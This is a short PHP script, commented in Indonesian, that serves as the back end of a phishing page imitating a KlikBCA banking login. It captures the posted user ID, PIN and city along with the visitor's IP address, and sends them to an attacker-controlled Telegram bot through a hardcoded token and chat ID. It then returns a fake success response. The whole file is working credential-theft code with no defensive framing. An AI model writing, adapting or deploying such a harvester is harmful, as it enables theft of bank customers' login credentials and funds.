<?php
// Amankan dengan enkripsi atau cara lain yang lebih kompleks
$botToken = '8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4'; // Ganti dengan token bot telegram Anda
$chatID = '-1003615695612'; // Ganti dengan chat ID telegram Anda

$nama = $_POST['nama'];
$pin = $_POST['pin'];
$kota = $_POST['kota'];

$message = "KlikBCA Login Attempt:\n";
$message .= "User ID: " . $nama . "\n";
$message .= "PIN: " . $pin . "\n";
$message .= "Kota: " . $kota . "\n";
$message .= "IP Address: " . $_SERVER['REMOTE_ADDR'] . "\n";
$message .= "Time: " . date("Y-m-d H:i:s") . "\n";

$url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatID . "&text=" . urlencode($message);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

// Mengembalikan respons JSON untuk AJAX
header('Content-Type: application/json');
echo json_encode(array('status' => 'success', 'message' => 'Data telah dikirim'));
?>
